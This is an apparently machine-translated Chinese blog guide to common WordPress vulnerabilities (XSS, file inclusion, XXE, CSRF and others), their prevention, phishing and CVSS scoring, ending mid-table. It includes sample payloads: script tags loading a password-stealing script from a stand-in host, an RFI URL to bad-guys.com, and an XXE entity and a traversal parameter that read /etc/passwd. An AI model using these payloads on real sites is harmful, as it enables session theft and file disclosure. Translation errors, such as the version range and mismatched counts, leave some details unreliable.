WordPress 漏洞说明
已发表: 2021-01-27不幸的是,WordPress 漏洞存在。 WordPress 漏洞可能存在于您的插件、主题甚至 WordPress 核心中。 由于 WordPress 现在支持近 40% 的网站,因此了解漏洞的任务更加重要。 简而言之:您必须警惕网站的安全性。
如果您不是 WordPress 安全专家,了解所有各种 WordPress 漏洞可能会令人生畏。 试图了解漏洞的不同严重程度以及 WordPress 漏洞的风险也可能会让人不知所措。
本指南将定义 21 个最常见的 WordPress 漏洞,介绍如何对 WordPress 漏洞的严重性进行评分,举例说明黑客如何利用该漏洞,并展示如何防止这些漏洞。 让我们潜入。
什么是 WordPress 漏洞?
WordPress 漏洞是可以被黑客利用的主题、插件或 WordPress 核心中的弱点或缺陷。 换句话说,WordPress 漏洞创建了一个入口点,黑客可以利用该入口点进行恶意活动。
请记住,网站黑客攻击几乎都是自动化的。 因此,黑客几乎可以在短时间内轻松闯入大量网站。 黑客使用特殊工具扫描互联网,寻找已知漏洞。
黑客喜欢简单的目标,拥有一个运行具有已知漏洞的软件的网站就像向黑客提供分步说明以闯入您的 WordPress 网站、服务器、计算机或任何其他联网设备。
我们每月的 WordPress 漏洞综述报告涵盖了所有公开披露的 WordPress 核心、WordPress 插件和主题漏洞。 在这些综述中,我们分享了易受攻击的插件或主题的名称、受影响的版本和漏洞类型。
什么是零日漏洞?
零日漏洞是在开发者针对漏洞发布补丁之前已经公开披露的漏洞。当谈到 WordPress 漏洞时,了解零日漏洞的定义很重要。 由于该漏洞已向公众披露,因此开发人员有零日时间修补漏洞。 这可能会对您的插件和主题产生重大影响。
通常,安全研究人员会发现一个漏洞,并私下向拥有该软件的公司开发人员披露该漏洞。 安全研究人员和开发人员同意,一旦补丁可用,将发布完整的详细信息。 补丁发布后可能会稍微延迟披露漏洞,以便让更多人有时间更新重大安全漏洞。
但是,如果开发者不回复安全研究人员或未提供漏洞补丁,则研究人员可能会公开披露漏洞,迫使开发者发布补丁。
公开披露漏洞并看似引入零日漏洞似乎会适得其反。 但是,这是研究人员必须向开发人员施压以修补漏洞的唯一手段。
在披露漏洞方面,Google 的 Project Zero 也有类似的指导方针。 他们在 90 天后发布漏洞的完整详细信息。 是否已修补漏洞。
任何人都可以找到该漏洞。 如果黑客在开发人员发布补丁之前发现了漏洞,它将成为最终用户最糟糕的噩梦…… 一个积极利用的零日漏洞。
什么是积极利用的零日漏洞?
一个积极利用的零日漏洞正是它听起来的样子。 这是黑客正在瞄准、攻击和积极利用的未修补漏洞。
2018 年底,黑客正在积极利用 WP GDPR 合规插件中的一个严重的 WordPress 漏洞。 该漏洞允许未经授权的用户(下一节将详细介绍)修改 WP 用户注册设置并将默认的新用户角色从订阅者更改为管理员。
这些黑客在 WP GDPR 合规性插件和安全研究人员之前发现了这个漏洞。 因此,任何安装了该插件的网站都是网络犯罪分子的一个简单且有保证的标记。
如何保护自己免受零日漏洞
保护您的网站免受零日漏洞影响的最佳方法是停用并删除软件,直到漏洞得到修补。 值得庆幸的是,WP GDPR 合规插件开发人员迅速采取行动,并在公开披露后的第二天发布了针对该漏洞的补丁。
未修补的漏洞使您的网站很容易成为黑客的目标。
未经身份验证与经过身份验证的 WordPress 漏洞
在谈论 WordPress 漏洞时,您还需要熟悉两个术语。
- 未经身份验证- 未经身份验证的 WordPress 漏洞意味着任何人都可以利用该漏洞。
- Authenticated – 一个经过身份验证的 WordPress 漏洞意味着它需要登录用户才能利用。
需要经过身份验证的用户的漏洞对于黑客来说更难利用,尤其是在需要管理员级别权限的情况下。 而且,如果黑客已经掌握了一组管理员凭据,他们真的不需要利用漏洞来造成严重破坏。
有一个警告。 一些经过身份验证的漏洞只需要订阅者级别的功能即可利用。 如果您的网站允许任何人注册,那么这与未经身份验证的漏洞之间确实没有太大区别。
19个常见的WordPress漏洞解释
谈到 WordPress 漏洞,有 21 种常见类型的漏洞。 让我们涵盖这些 WordPress 漏洞类型中的每一种。
1. 认证绕过
身份验证绕过漏洞允许攻击者跳过身份验证要求并执行通常为经过身份验证的用户保留的任务。
身份验证是验证用户身份的过程。 WordPress 要求用户输入用户名和密码来验证他们的身份。
身份验证绕过示例
应用程序根据一组固定的参数验证身份验证。 攻击者可以修改这些参数以访问通常需要身份验证的网页。
此类情况的一个非常基本的示例是 URL 中的身份验证参数。
https:/my-website/some-plugint?param=authenticated¶m=no
上面的 URL 有一个值为 no 的身份验证参数。 因此,当我们访问此页面时,我们会看到一条消息,通知我们我们无权查看此页面上的信息。

但是,如果身份验证检查编码不当,攻击者可以修改身份验证参数以获得对私有页面的访问权限。
https:/my-website/some-plugint?param=authenticated¶m=yes
在此示例中,黑客可以将 URL 中的身份验证值更改为 yes 以绕过身份验证要求以查看页面。

如何防止身份验证绕过预防
您可以使用双因素身份验证来帮助保护您的网站免受损坏的身份验证漏洞。
2. 后门漏洞
后门漏洞允许授权和未授权用户绕过正常的安全措施并获得对计算机、服务器、网站或应用程序的高级访问权限。
后门示例
开发人员创建了一个后门,以便他们可以作为管理员用户在编码和测试代码之间快速切换。 不幸的是,开发人员忘记在软件向公众发布之前删除后门。
如果黑客找到后门,他们可以利用入口点来获得对软件的管理员访问权限。 现在黑客拥有管理员访问权限,他们可以执行各种恶意操作,例如注入恶意软件或窃取敏感数据。
如何防止后门
许多后门可以归结为一个问题,即安全配置错误。 可以通过删除代码中任何未使用的功能、使所有库保持最新以及使错误消息更通用来缓解安全错误配置问题。
3. PHP 对象注入漏洞
PHP 对象注入漏洞发生在用户提交的输入在传递给unserialized()
PHP 函数之前未经清理(意味着不删除非法字符unserialized()
。
PHP 对象注入示例
下面是示例广告管理器 WordPress 插件中 PHP 对象注入漏洞的真实示例,该漏洞最初由 sumofpwn 报告。
该问题是由于插件sam-ajax-loader.php
文件中对unserialize() 的两次不安全调用造成的。 输入直接从 POST 请求中获取,如下面的代码所示。
if ( in_array( $action, $allowed_actions ) ) { switch ( $action ) { case 'sam_ajax_load_place': echo json_encode( array( 'success' => false, 'error' => 'Deprecated...' ) ); break; case 'sam_ajax_load_ads': if ( ( isset( $_POST['ads'] ) && is_array( $_POST['ads'] ) ) && isset( $_POST['wc'] ) ) { $clauses = **unserialize( base64_decode( $_POST['wc'] ) )**;
此问题可能会导致攻击者输入和执行恶意代码。
如何防止 PHP 对象注入
不要对用户提供的输入使用unserialize()
函数,而是使用 JSON 函数。
4. 跨站脚本漏洞
当 Web 应用程序允许用户在 URL 路径中添加自定义代码时,就会出现XSS或跨站点脚本漏洞。 攻击者可以利用该漏洞在受害者的 Web 浏览器中运行恶意代码、创建到恶意网站的重定向或劫持用户会话。
XSS主要有3种,体现。 存储的和基于 DOM 的
5. 反射跨站脚本漏洞
当恶意脚本在客户端请求(您在浏览器中发出的请求)中发送到服务器并由服务器反射回来并由您的浏览器执行时,就会发生反射 XSS或反射跨站点脚本。
反射式跨站脚本示例
假设yourfavesite.com
要求您登录才能查看网站的某些内容。 假设该网站未能正确编码用户输入。
攻击者可以通过创建恶意链接并在电子邮件和社交媒体帖子中与yourfavesite.com
用户共享来利用此漏洞。
攻击者使用 URL 缩短工具使恶意链接看起来没有威胁性并且非常yourfavesite.com/cool-stuff
点击, yourfavesite.com/cool-stuff
- yourfavesite.com/cool-stuff
。 但是,当您单击缩短的链接时,完整的链接将由您的浏览器yourfavesite.com/cool-stuff?q=cool-stuff<\script&src=”http://bad-guys.com/passwordstealingcode.js
执行。
单击该链接后,您将被带到yourfavesite.com
,恶意脚本将反映回您的浏览器,从而允许攻击者劫持您的会话 cookie 和yourfavesite.com
帐户。
如何防止反射跨站脚本
OWASP 跨脚本预防备忘单上的第 5 条规则是在将不受信任的数据插入 HTML URL 参数值之前进行 URL 编码。 此规则有助于防止在将不受信任的数据添加到 HTTP GET 参数值时创建反射型 XSS 漏洞。
<a href="http://www.yourfavesite.com?test=...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a >
6. 存储跨站脚本漏洞
存储型 XSS或存储型跨站点脚本漏洞允许黑客将恶意代码注入并存储在 Web 应用程序的服务器上。
存储跨站脚本示例
攻击者发现yourfavesite.com
允许访问者在站点的评论部分嵌入 HTML 标签。 所以攻击者创建了一个新的评论:
很棒的文章! 查看其他相关的优秀<script src=”http://bad-guys.com/passwordstealingcode.js>
文章。 </script>
现在我们的坏人已经添加了评论,这个页面的每个未来访问者都将暴露于他们的恶意脚本。 该脚本托管在坏人的网站上,能够劫持访问者会话 cookie 和yourfavesite.com
帐户。
如何防止存储跨站脚本
OWASP 跨脚本预防备忘单上的规则 #1 是在将不受信任的数据添加到 HTML 元素之前进行 HTML 编码。
<body> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </body>
<div> ...ENCODE UNTRUSTED DATA BEFORE PUTTING HERE... </div>
对以下字符进行编码以防止切换到任何执行上下文,例如脚本、样式或事件处理程序。 规范中建议使用十六进制实体。
& --> & < --> < > --> > " --> " ' --> '
7. 基于文档对象模型的跨站脚本漏洞
当网站的客户端脚本将用户提供的数据写入文档对象模型 (DOM) 时,就会出现基于DOM 的 XSS或基于文档对象模型的跨站点脚本漏洞。 然后网站从 DOM 中读取用户日期并将其输出到访问者的网络浏览器。
如果用户提供的数据没有得到正确处理,攻击者可能会注入恶意代码,当网站从 DOM 读取代码时会执行这些代码。
基于文档对象模型的跨站点脚本示例
解释 DOM XSS 攻击自定义欢迎页面的常用方法。 创建帐户后,假设您将yourfavesite.com
重定向到定制的欢迎页面,该页面使用以下代码按姓名欢迎您。 用户名被编码到 URL 中。
<HTML> <TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos=document.URL.indexOf("name=")+8; document.write(document.URL.substring(pos,document.URL.length)); </SCRIPT> <BR> Welcome to yourfavesite.com! … </HTML>
所以,我们会有一个yourfavesite.com/account?name=yourname
的 URL。
攻击者可以通过向新用户发送以下 URL 来完成基于 DOM 的 XSS 攻击:
http://yourfavesite.com/account?name=<script>alert(document.cookie)</script>
当新用户点击链接时,他们的浏览器会发送一个请求:
/account?name=<script>alert(document.cookie)</script>
到bad-guys.com
。 该网站以包含上述 Javascript 代码的页面作为响应。
新用户的浏览器为页面创建一个 DOM 对象,其中document.location
对象包含字符串:
http://www.bad-guys.com/account?name=<script>alert(document.cookie)</script>
页面中的原始代码不希望默认参数包含 HTML 标记,从而将标记回显到页面上。 然后新用户的浏览器将呈现页面并执行攻击者的脚本:
alert(document.cookie)
如何防止基于 DOM 的跨站脚本
基于 OWASP Dom 的跨站点脚本预防备忘单上的规则 #1 是 HTML 转义。 然后,JS 会在将不受信任的数据添加到执行上下文中的 HTML 子上下文之前进行转义。
危险的 HTML 方法示例:
属性
element.innerHTML = "<HTML> Tags and markup"; element.outerHTML = "<HTML> Tags and markup";
方法
document.write("<HTML> Tags and markup"); document.writeln("<HTML> Tags and markup");
为了在 DOM 安全中对 HTML 进行动态更新,OWASP 建议:
- HTML 编码,然后
- JavaScript 编码所有不受信任的输入,如以下示例所示:
element.innerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"; element.outerHTML = "<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>";
document.write("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>"); document.writeln("<%=Encoder.encodeForJS(Encoder.encodeForHTML(untrustedData))%>");
8. 跨站请求伪造漏洞
当网络犯罪分子诱使用户执行意外操作时,就会出现CSRF或跨站点请求伪造漏洞。 攻击者伪造用户对应用程序的请求。
跨站点请求伪造示例
在 2020 年 1 月的 WordPress 漏洞综述中,我们报告了在代码片段插件中发现的跨站点请求伪造漏洞。 (该插件在2.14.0版本中很快被打补丁)
该插件缺乏 CRSF 保护,允许任何人代表管理员伪造请求并在易受攻击的站点上注入可执行代码。 攻击者可以利用此漏洞执行恶意代码,甚至执行完整的站点接管。
如何防止跨站请求伪造
大多数编码框架都有内置的同步令牌防御来防止 CSRF,应该使用它们。
还有一些外部组件,如 CSRF Protector Project,可用于保护 PHP 和 Apache CSRF 漏洞。
9. 服务器端请求伪造漏洞
SSRF或 Server-Site Request Forger 漏洞允许攻击者欺骗服务器端应用程序向他们选择的任意域发出 HTTP 请求。
服务器端请求伪造示例
可以利用 SSRF 漏洞发起反射跨站点脚本攻击。 攻击者可以从 bad-guys.com 获取恶意脚本并将其提供给网站的所有访问者。
如何防止服务器端请求伪造
缓解 SSRF 漏洞的第一步是验证输入。 例如,如果您的服务器依赖于用户提供的 URL 来获取不同的文件,您应该验证 URL 并且只允许您信任的目标主机。
有关 SSRF 预防的更多信息,请查看 OWASP 备忘单。
10. 提权漏洞
权限提升漏洞允许攻击者执行通常需要更高级别权限的任务。
权限提升示例
在我们 2020 年 11 月的 WordPress 漏洞综述中,我们报告了在 Ultimate Member 插件中发现的提权漏洞(该漏洞已在 2.1.12 版中修补)。
攻击者可以为定义用户角色的wp_capabilities
用户元提供数组参数。 在注册过程中,提交的注册详细信息被传递给update_profile
函数,并且提交的任何相应元数据,无论提交了什么,都将为该新注册用户更新。
该漏洞本质上允许新用户在注册时请求管理员。
如何防止权限提升
iThemes Security Pro 可以通过限制管理员访问受信任设备列表来帮助保护您的网站免受破坏的访问控制。
11. 远程代码执行漏洞
RCE或远程执行代码漏洞允许攻击者访问和更改甚至接管计算机或服务器。
远程代码执行示例
2018 年,微软披露了在 Excel 中发现的远程代码执行漏洞。
成功利用此漏洞的攻击者可以在当前用户的上下文中运行任意代码。 如果当前用户使用管理用户权限登录,攻击者就可以控制受影响的系统。 然后攻击者可以安装程序; 查看、更改或删除数据; 或创建具有完全用户权限的新帐户。 与使用管理用户权限操作的用户相比,帐户配置为在系统上拥有较少用户权限的用户受到的影响较小。
如何防止远程代码执行
缓解 RCE 漏洞的最简单方法是通过过滤和删除任何不需要的字符来验证用户输入。
我们的母公司 Liquid Web 有一篇关于防止远程代码执行的很棒的文章。
12. 文件包含漏洞
当 Web 应用程序允许用户向文件提交输入或将文件上传到服务器时,就会出现文件包含漏洞。
有两种类型的文件包含漏洞,本地和远程。
13. 本地文件包含漏洞
LFI或本地文件包含漏洞允许攻击者读取并有时执行网站服务器上的文件。
本地文件包含示例
让我们再看一下yourfavesite.com
,其中传递给include
语句的路径没有正确清理。 例如,让我们看看下面的 URL。
yourfavesite.com/module.php?file=example.file
攻击者可以通过更改 URL 参数来访问服务器上的任意文件。
yourfavesite.com/module.php?file=etc/passwd
更改 URL 中文件的值可能允许攻击者查看 psswd 文件的内容。
如何防止本地文件包含
创建页面可能包含的文件的允许列表,然后使用标识符访问所选文件。 然后阻止任何包含无效标识符的请求。
14. 远程文件包含漏洞
RFI或远程文件包含漏洞允许攻击者包含文件,通常利用目标应用程序中实现的“动态文件包含”机制。
远程文件包含示例
WordPress Plugin WP with Spritz 已在 WordPress.org 存储库中关闭,因为它存在 RFI 漏洞。
下面是该漏洞的源代码:
if(isset($_GET['url'])){ $content=file_get_contents($_GET['url']);
可以通过更改content.filter.php?url=
值的值来利用该代码。 例如:
yoursite.com//wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=http(s)://bad-guys.com/exec
远程文件包含预防
创建页面可能包含的文件的允许列表,然后使用标识符访问所选文件。 然后阻止任何包含无效标识符的请求。
15. 目录遍历漏洞
目录遍历或文件遍历漏洞允许攻击者读取运行应用程序的服务器上的任意文件。
目录遍历示例
WordPress 5.7 – 5.03 版本容易受到目录遍历攻击,因为它们未能正确验证用户输入数据。 攻击者可以访问至少具有author
权限的帐户,可以利用目录遍历漏洞在底层服务器上执行恶意 PHP 代码,从而导致完全远程接管。
如何防止目录遍历
在模板化或使用语言文件时,开发人员可以使用索引而不是文件名的实际部分。
16. 恶意重定向漏洞
恶意重定向漏洞允许攻击者注入代码将站点访问者重定向到另一个网站。
恶意重定向示例
假设您正在使用在线精品店的搜索工具寻找一件蓝色毛衣。
不幸的是,精品店的服务器未能正确编码用户输入,攻击者能够将恶意重定向脚本注入您的搜索查询。
因此,当您在精品店的搜索字段中输入蓝色毛衣并按回车键时,您最终会进入攻击者的网页,而不是精品店的页面,里面有与您的搜索描述相匹配的毛衣。
如何防止恶意重定向
您可以通过清理用户输入、验证 URL 并获取访问者对所有异地重定向的确认来防止恶意重定向。
17. XML 外部实体漏洞
XXE或 XML 外部实体漏洞允许攻击者欺骗 XML 解析器将敏感信息传递给他们控制的外部实体。
XML 外部实体示例
攻击者可以利用 XXE 漏洞访问敏感文件,例如存储用户帐户信息的 etc/passwd。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>
如何防止 XML 外部实体
防止XXE的最佳方法是使用不太复杂的数据格式,例如 JSON,并避免对敏感数据进行序列化。
18. 拒绝服务攻击
DoS或拒绝服务攻击是故意尝试通过用网络流量淹没您的网站或应用程序来使用户无法使用它。
在DDoS分布式拒绝服务攻击中,攻击者使用多个来源用流量淹没网络。 攻击者将劫持受恶意软件感染的计算机、路由器和物联网设备组,以增加流量。
拒绝服务攻击示例
有史以来最大规模的 DDoS(分布式拒绝服务)攻击是在今年 2 月针对 AWS 发起的。 亚马逊报告称,他们的托管威胁防护服务 AWS Shield 观察到并缓解了这种巨大的 DDoS 攻击。 攻击持续了 3 天,达到了每秒 2.3 TB 的峰值。
如何防止拒绝服务攻击
有两种主要方法可以缓解 DoS 攻击。
- 购买比您需要的更多的主机。 拥有额外的资源可以帮助您应对 DoS 攻击造成的需求增加。
- 使用 Cloudflare 等服务器级防火墙。 防火墙可以检测到异常的流量高峰并防止您的网站过载。
19. 按键记录
击键记录,也称为键盘记录或键盘捕获,发生在黑客暗中监视和记录网站访问者的击键时。
击键记录示例
2017 年,一名黑客成功地在智能手机制造商 OnePlus 的服务器上安装了恶意 JavaScript。
攻击者使用恶意代码监视并记录 OnePlus 客户在输入信用卡详细信息时的按键操作。 在 OnePlus 检测并修补黑客之前,黑客记录并收集了 40,000 名客户的击键。
如何防止击键记录
更新一切! 通常,攻击者需要利用另一个现有漏洞在计算机或服务器上注入键盘记录器。 使用最新的安全补丁更新所有内容将防止黑客轻松地在您的网站或计算机上安装键盘记录器。
奖励:2 个社会工程和用户漏洞
软件漏洞是黑客和网络犯罪分子试图利用的唯一东西。 黑客还瞄准和利用人类。 让我们来看看我们可以变成漏洞的几种方式。
1. 钓鱼
网络钓鱼是一种网络攻击方法,使用电子邮件、社交媒体、短信和电话来诱骗受害者提供个人信息。 然后攻击者将使用该信息访问个人帐户或进行身份欺诈。
如何发现网络钓鱼电子邮件
正如我们在本文前面了解到的,一些漏洞需要某种类型的用户交互才能利用。 黑客诱骗人们参与其邪恶活动的一种方式是发送网络钓鱼电子邮件。
学习如何发现网络钓鱼电子邮件可以避免您无意中参与网络犯罪分子的计划。
发现网络钓鱼电子邮件的 4 个技巧:
- 查看发件人电子邮件地址- 如果您收到来自企业的电子邮件,“@”之后的发件人电子邮件地址部分应与企业名称匹配。
如果电子邮件代表公司或政府实体,但使用的是“@gmail”等公共电子邮件地址,则表明存在网络钓鱼电子邮件。
留意域名的细微拼写错误。 例如,让我们看看这个电子邮件地址 [email protected] 我们可以看到 Netflix 在末尾有一个额外的“x”。 拼写错误清楚地表明该电子邮件是由骗子发送的,应立即删除。 - 查找语法错误– 充满语法错误的电子邮件是恶意电子邮件的标志。 所有单词都可能拼写正确,但句子中缺少会使句子连贯的单词。 例如,“您的帐户被黑了。 更新密码以确保帐户安全”。
每个人都会犯错,并不是每封有一两个错字的电子邮件都试图欺骗您。 但是,在回答之前,需要仔细查看多个语法错误。 - 可疑的附件或链接——在与电子邮件中包含的任何附件或链接进行交互之前,值得暂停片刻。
如果您不认识电子邮件的发件人,则不应下载电子邮件中包含的任何附件,因为它可能包含恶意软件并感染您的计算机。 如果电子邮件声称来自企业,您可以在打开任何附件之前 Google 其联系信息以验证电子邮件是从他们发送的。
如果电子邮件包含链接,您可以将鼠标悬停在链接上,以验证 URL 是否将您发送到应有的位置。 - 当心紧急请求——诈骗者常用的伎俩是制造紧迫感。 恶意电子邮件可能会产生需要立即采取行动的场景。 您思考的时间越多,您就越有可能识别出该请求来自骗子。
您可能会收到“老板”发来的电子邮件,要求您尽快向供应商付款,或者收到银行的电子邮件,通知您您的帐户已被黑客入侵,需要立即采取行动。
2. 弱凭证
用户有可能成为最大的 WordPress 安全漏洞。

在 Splash Data 编制的列表中,所有数据转储中包含的最常见密码是 123456。数据转储是一个被黑的数据库,其中填充了在互联网上某处转储的用户密码。 如果 123456 是数据转储中最常见的密码,您能想象您网站上有多少人使用弱密码吗?
尽管 91% 的人知道重复使用密码是不好的做法,但仍有 59% 的人在任何地方重复使用他们的密码! 这些人中的许多人仍在使用他们知道出现在数据库转储中的密码。
黑客使用一种称为字典攻击的蛮力攻击形式。 字典攻击是一种使用出现在数据库转储中的常用密码闯入 WordPress 网站的方法。 “系列#1? 托管在 MEGA 托管的数据泄露包括 1,160,253,228 种独特的电子邮件地址和密码组合。 那是一个 b 的十亿。 这种分数确实有助于字典攻击缩小最常用的 WordPress 密码的范围。
弱凭据将您的 WordPress 登录信息变成一个容易被黑客利用的漏洞。
如何防止弱凭证
防止弱凭据的最佳方法是创建强密码策略并使用双因素身份验证。
双因素身份验证是通过需要两种不同的验证方法来验证个人身份的过程。 谷歌在其博客上分享说,使用双因素身份验证可以阻止 100% 的自动机器人攻击。
如何保护您的 WordPress 网站免受 WordPress 漏洞的影响
让我们来看看您可以采取的一些可操作步骤来保护您的网站免受 WordPress 漏洞的影响。
1. 使您的 WordPress 软件保持最新
拥有一个有补丁但未应用的易受攻击的插件或主题是被黑 WordPress 网站的罪魁祸首。 大多数漏洞被利用的漏洞的补丁之后,这意味着被释放。
如果他们更新了他们的软件,那么高度报道的 Equifax 漏洞就可以避免。 对于 Equifax 漏洞,根本没有任何借口。
像更新软件这样简单的事情就可以保护您。 所以不要忽视那些 WordPress 更新——更新是 WordPress 和所有网络安全最基本的组件之一。
2. 跟踪 WordPress 漏洞
保持您的插件和主题更新不会保护您免受每个漏洞的侵害。 一些插件和主题已被创建它们的开发人员放弃。
不幸的是,如果一个废弃的插件或主题存在漏洞,它将永远不会得到补丁。 黑客将针对使用这些现在永久易受攻击的插件的网站。
跟踪漏洞是拥有安全网站与黑客容易利用的网站之间的区别。如果您的网站上有一个带有已知漏洞的废弃插件,那么您就是在为黑客提供接管您网站所需的蓝图。 这就是为什么您必须跟踪所有最新漏洞的原因。
很难跟踪每个已披露的 WordPress 漏洞并将该列表与您在网站上安装的插件和主题的版本进行比较。 跟踪漏洞是拥有安全网站与黑客容易利用的网站之间的区别。
3. 扫描您的网站是否存在漏洞
保护您的网站免受黑客攻击的更快方法是使用自动扫描来检查您的网站是否存在已知漏洞。
iThemes Security Pro Site Scanner 是您在所有 WordPress 网站上自动化漏洞保护的方式。 站点扫描程序会检查您的站点是否存在已知漏洞,并会在可用时自动应用补丁。
iThemes Security Pro 站点检查 3 种类型的漏洞。
- WordPress 漏洞
- 插件漏洞
- 主题漏洞
iThemes Sync Pro 站点审核功能利用 Google Lighthouse 的强大功能来保护您的网站。 站点审核检查并标记包含具有已知安全漏洞的前端 JavaScript 库的页面。
开发人员在他们的插件和主题中使用第三方代码(如 JS 库)是常见的做法。 不幸的是,如果这些库没有得到妥善维护,它们可能会产生攻击者可以利用的漏洞来入侵您的网站。 使用具有已知漏洞的组件在 OWASP Top 10 列表中。
现场审核救了我的培根! 我创建了一个审计计划,让 Sync Pro 每周执行一次自动审计,并将审计报告通过电子邮件发送给我。 我保持所有更新,这就是为什么当我在我的网站审核中看到我使用具有已知安全漏洞的 JavaScript 库时感到震惊的原因。
该报告向我指出了网站 WordPress 目录中的一个过时版本的 jQuery,其中散布着已知漏洞! 幸运的是,我在 Sync Pro Site Audit 中看到我使用了具有已知安全漏洞的 JavaScript 库,并且能够在我的网站遭到黑客攻击之前解决问题。
如何衡量 WordPress 漏洞风险
有几种类型的 WordPress 漏洞,都具有不同程度的风险。 幸运的是,国家漏洞数据库——美国国家科学技术研究院的一个项目——有一个漏洞评分系统计算器来确定漏洞的风险。
WordPress 漏洞指南的这一部分将涵盖漏洞评分系统的指标和严重性级别。 虽然本节更具技术性,但一些用户可能会发现它有助于加深他们对如何评估 WordPress 漏洞及其严重性的理解。
常见的 WordPress 漏洞评分系统指标
漏洞评分系统的等式使用三组不同的评分来确定总体严重性评分。
1. 基本指标
基本指标组代表在用户环境中保持不变的漏洞特征。
基本指标分为两组,可利用性和影响。
1.1. 可利用性指标
可利用性分数基于攻击者利用该漏洞的难度。 分数是使用 5 个不同的变量计算的。
1.1.1. 攻击向量 (AV)
攻击向量分数基于利用漏洞的方法。 攻击者利用漏洞的距离越远,得分越高。
这个想法是,与需要物理访问设备漏洞利用的漏洞相比,如果该漏洞可以通过网络利用,则潜在攻击者的数量将会更多。
潜在攻击者越多,被利用的风险就越大,因此漏洞的攻击向量得分会越高。
需要访问 | 描述 |
---|---|
网络 (N) | 可通过网络利用的漏洞 访问意味着易受攻击的组件可远程利用。 |
相邻网络 (AV:A) | 可通过相邻网络利用的漏洞 访问意味着易受攻击的组件绑定到网络堆栈。 但是,攻击仅限于相同的共享物理或逻辑网络。 |
本地 (AV:L) | 一个可利用 Local 的漏洞 访问意味着易受攻击的组件未绑定到网络堆栈。 在某些情况下,攻击者可能在本地登录以利用该漏洞,或者可能依靠用户交互来执行恶意文件。 |
物理 (AV:P) | 可利用 Physical 的漏洞 使用权 要求攻击者物理接触或操纵易受攻击的组件,例如将外围设备连接到系统。 |
1.1.2. 攻击复杂度 (AC)
复杂性值基于利用漏洞所需的条件。 某些情况可能需要收集有关目标、某些系统配置设置的存在或计算异常的更多信息。
利用漏洞所需的复杂性越低,攻击复杂性得分越高。
利用条件复杂性 | 说明 |
---|---|
低 (L) | 不存在专门的访问条件或情有可原的情况。 攻击者可以期望针对易受攻击的组件取得可重复的成功。 |
高 (H) | 成功的攻击取决于攻击者无法控制的条件。 成功的攻击不能随意完成,但需要攻击者在预期成功攻击之前投入一些可衡量的努力来准备或执行针对易受攻击的组件。 |
1.1.3. 所需权限 (PR)
特权要求分数是根据攻击者在利用漏洞之前必须获得的特权来计算的。 我们将在 Authenticated vs. Unauthenticated 部分深入探讨这一点。
如果不需要特权,分数将是最高的。
需要权限级别 | 描述 |
---|---|
无 (N) | 攻击者在攻击之前是未经授权的,因此不需要访问任何设置或文件来执行攻击。 |
低 (L) | 攻击者被授权提供基本用户功能的权限,这些功能通常只能影响用户拥有的设置和文件。 或者,具有低权限的攻击者可能仅对非敏感资源造成影响。 |
高 (H) | 攻击者被授权(即需要)特权,这些特权对可能影响组件范围设置和文件的易受攻击的组件提供重要(例如,管理)控制。 |
1.1.4. 用户交互 (UI)
用户交互分数是根据漏洞是否需要用户交互才能利用来确定的。
当攻击者无需用户交互即可利用该漏洞时,得分最高。
用户交互需求 | 描述 |
---|---|
无 (N) | 可以在没有任何用户交互的情况下利用易受攻击的系统。 |
必需 (R) | 成功利用此漏洞需要用户采取一些措施才能利用该漏洞,例如说服用户单击电子邮件中的链接。 |
1.1.5. 范围
范围评分基于一个软件组件中的漏洞,以影响超出其安全范围的资源。
安全范围包含仅向该组件提供功能的其他组件,即使这些其他组件具有自己的安全权限。
当范围发生变化时得分最高。
范围 | 描述 |
---|---|
不变 (U) | 被利用的漏洞只能影响由同一权限管理的资源。 在这种情况下,易受攻击的组件和受影响的组件是相同的。 |
改变 (U) | 被利用的漏洞可能会影响超出易受攻击组件预期授权权限的资源。 在这种情况下,易受攻击的组件和受影响的组件是不同的。 |
1.2. 影响指标
影响指标捕捉成功利用漏洞的直接影响。
1.2.1. 机密影响 (C)
此机密影响分数衡量对被利用软件管理的信息的机密性的影响。
当受影响软件的损失最高时,得分最高。
保密影响 | 描述 |
---|---|
高 (H) | 完全失去机密性,导致被利用软件中的所有资源都被泄露给攻击者。 |
低 (L) | 有一些机密性的损失。 攻击者获得了一些受限信息的访问权限。 |
无 (N) | 被利用的软件不会丢失机密性。 |
1.2.2. 诚信(一)
该完整性评分基于成功利用漏洞对完整性的影响。
当受影响软件的后果最大时,得分最高。
完整性影响 | 描述 |
---|---|
高 (H) | 完全丧失完整性或完全丧失保护。 |
低 (L) | 数据修改不会对受影响的软件产生直接、严重的影响。 |
无 (N) | 受影响的软件不会丢失完整性。 |
1.2.3. 可用性 (A)
可用性分数基于被利用软件的可用性的影响。
当受影响组件的后果最大时,得分最高。
可用性影响 | 描述 |
---|---|
高 (H) | 完全丧失可用性,导致攻击者完全拒绝访问被利用软件中的资源。 |
低 (L) | 性能降低或资源可用性中断。 |
无 (N) | 对受影响软件内的可用性没有影响。 |
基础分数 CVSS 分数计算
基本分数是影响和可利用性子分数方程的函数。 其中基本分数定义为,
If (Impact sub score <= 0) 0 else, Scope Unchanged 4 Roundup(Minimum[(Impact+Exploitability),10]) Scope Changed Roundup(Minimum[1.08×(Impact+Exploitability),10]) and the Impact subscore (ISC) is defined as, Scope Unchanged 6.42 × ISCBase Scope Changed 7.52 × [ISCBase - 0.029] - 3.25 × [ISCBase - 0.02] 15 Where, ISCBase = 1 - [(1 - ImpactConf) × (1 - ImpactInteg) × (1 - ImpactAvail)] And the Exploitability sub score is, 8.22 × AttackVector × AttackComplexity × PrivilegeRequired × UserInteraction
2. 时间分数指标
时间指标衡量漏洞利用技术的当前状态、是否存在任何补丁或变通方法,或者人们对漏洞描述的信心。
时间指标预计会并且会随着时间而改变。
2.1. 漏洞利用代码成熟度 (E)
漏洞利用代码的成熟度基于漏洞被攻击的可能性。
漏洞越容易被利用,漏洞得分就越高。
漏洞利用代码成熟度值 | 描述 |
---|---|
未定义 (X) | 将此值分配给指标不会影响分数。 这是评分方程跳过此指标的信号。 |
